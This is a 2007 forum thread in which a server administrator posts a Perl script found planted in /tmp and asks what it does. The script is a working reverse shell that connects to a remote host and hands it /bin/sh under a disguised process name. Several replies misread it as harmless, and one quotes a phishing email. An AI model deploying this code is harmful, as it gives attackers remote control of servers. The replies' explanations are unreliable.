Lost Password?

Go Back   CodeCall Programming Forum > Web Development Forum > Perl

Perl Discussion for the PERL language - Practical Extraction and Reporting Language, is a programming language often used for creating CGI programs.

Reply
 
LinkBack Thread Tools Search this Thread Display Modes
  #1 (permalink)  
Old 09-28-2007, 08:03 AM
falco85 falco85 is offline
Programmer
 
Join Date: Apr 2006
Posts: 105
Rep Power: 9
falco85 is on a distinguished road
Default Hacking Perl Script

I was looking through my log files and happened by a file upload that should not have been uploaded (through a script somehow they managed to upload although they shouldn't have access). I then immediatly went to the directory the script was inserted into "/tmp" and opened the file. The first line reads #!/usr/bin/perl and even though I have used perl before I still don't entirely understand what this script does.

Perl Code:
  1. #!/usr/bin/perl
  2. use Socket;
  3. $cmd= "lynx";
  4. $system= 'echo "`uname -a`";echo "`id`";/bin/sh';
  5. $0=$cmd;
  6. $target=$ARGV[0];
  7. $port=$ARGV[1];
  8. $iaddr=inet_aton($target) || die("Error: $!\n");
  9. $paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
  10. $proto=getprotobyname('tcp');
  11. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
  12. connect(SOCKET, $paddr) || die("Error: $!\n");
  13. open(STDIN, ">&SOCKET");
  14. open(STDOUT, ">&SOCKET");
  15. open(STDERR, ">&SOCKET");
  16. system($system);
  17. close(STDIN);
  18. close(STDOUT);
  19. close(STDERR);

I can see that it opens lynx and connects to the local machine but what does this do:

Perl Code:
  1. $system= 'echo "`uname -a`";echo "`id`";/bin/sh';

I understand echo and uname but is it calling /bin/sh?

From this point down I do not understand. Any of this I do not really understand what it is doing:

Perl Code:
  1. $target=$ARGV[0];
  2. $port=$ARGV[1];
  3. $iaddr=inet_aton($target) || die("Error: $!\n");
  4. $paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
  5. $proto=getprotobyname('tcp');
  6. socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
  7. connect(SOCKET, $paddr) || die("Error: $!\n");
  8. open(STDIN, ">&SOCKET");
  9. open(STDOUT, ">&SOCKET");
  10. open(STDERR, ">&SOCKET");
  11. system($system);
  12. close(STDIN);
  13. close(STDOUT);
  14. close(STDERR);

Can someone help me figure out what the intention of this script is?

Last edited by John; 11-10-2007 at 12:32 AM.
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote

Sponsored Links
  #2 (permalink)  
Old 09-28-2007, 08:15 PM
KevinADC KevinADC is offline
Learning Programmer
 
Join Date: Jan 2007
Posts: 89
Rep Power: 6
KevinADC is on a distinguished road
Default

hmmm.... I don't know what it is trying to do. Maybe ask on PerlMonks - The Monastery Gates if you get an answer post back here.
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #3 (permalink)  
Old 09-30-2007, 09:40 AM
Lop's Avatar   
Lop Lop is offline
Speaks fluent binary
 
Join Date: May 2006
Posts: 1,135
Rep Power: 16
Lop is on a distinguished road
Default

It looks like it is just loading a website. The arguments could be anything though. It doesn't look malicious.
__________________
Lop
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #4 (permalink)  
Old 11-10-2007, 12:19 AM
zosorock zosorock is offline
Newbie
 
Join Date: Nov 2007
Posts: 1
Rep Power: 0
zosorock is on a distinguished road
Default

I believe it is indeed malicious. In my case I was presented with a mailqueue of 9000 emails trying to send out a phising/scam type of email (excerpt below), right after this script showed up.

I am not that good of a server admin but I am pretty sure this script started it somehow.

Excerpt of the email:
The Local Organizing Committee of the Heineken European Champions League is glad to announce to the world the giving away of the sum of TWO HUNDRED MILLION POUNDS to 100 lucky email addresses all over the world.

I hope you didn't have the same problem... it was pretty annoying to delete all those... thankfully they all came from nobody@.

Last edited by zosorock; 11-18-2007 at 01:58 AM.
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #5 (permalink)  
Old 11-10-2007, 07:27 PM
ETbyrne's Avatar   
ETbyrne ETbyrne is offline
Newbie
 
Join Date: Nov 2007
Location: Lapeer, MI
Posts: 29
Rep Power: 3
ETbyrne is on a distinguished road
Default

Did you ever find out what it was?
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote

Sponsored Links
  #6 (permalink)  
Old 11-12-2007, 04:51 PM
TkTech TkTech is offline
 
Join Date: Jun 2006
Posts: 867
Last Blog:
Having trouble with yo...
Rep Power: 20
TkTech is on a distinguished road
Send a message via MSN to TkTech
Default

It in itself is not malicious. It connects to an external server and port passed as parameters to the script and sends all of the detailed system information to that server. Then that can be used to find commmon security flaws for that os/aric
__________________
CodeCall Blog | CodeCall Wiki | Shareware | Linux Forum
Chat with other CodeCall members on IRC; connect to irc.codecall.net and join #codecall
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
Reply



Currently Active Users Viewing This Thread: 1 (0 members and 1 guests)
 
Thread Tools Search this Thread
Search this Thread:

Advanced Search
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On

Similar Threads
Thread Thread Starter Forum Replies Last Post
JavaScript:Tutorial, Using an External Script TcM Javascript 7 09-11-2007 07:39 AM
Perl is Dead. Long live Perl. Kernel Programming News 3 08-10-2007 10:49 AM
(Script) Copy content to clipboard, how? annannienann Visual Basic Programming 0 06-19-2007 05:20 PM
Packet Loss Perl Script Jordan Tutorials, Classes and Code 1 04-29-2007 12:29 PM


All times are GMT -5. The time now is 01:49 PM.

Contest Stats

John ........ 167.00000
Xav ........ 164.00000
dargueta ........ 148.00000
gaylo565 ........ 18.00000
WingedPanther ........ 15.00000
|pH| ........ 15.00000
Johnnyboy ........ 3.00000
navghost ........ 1.00000

Contest Rules

Ads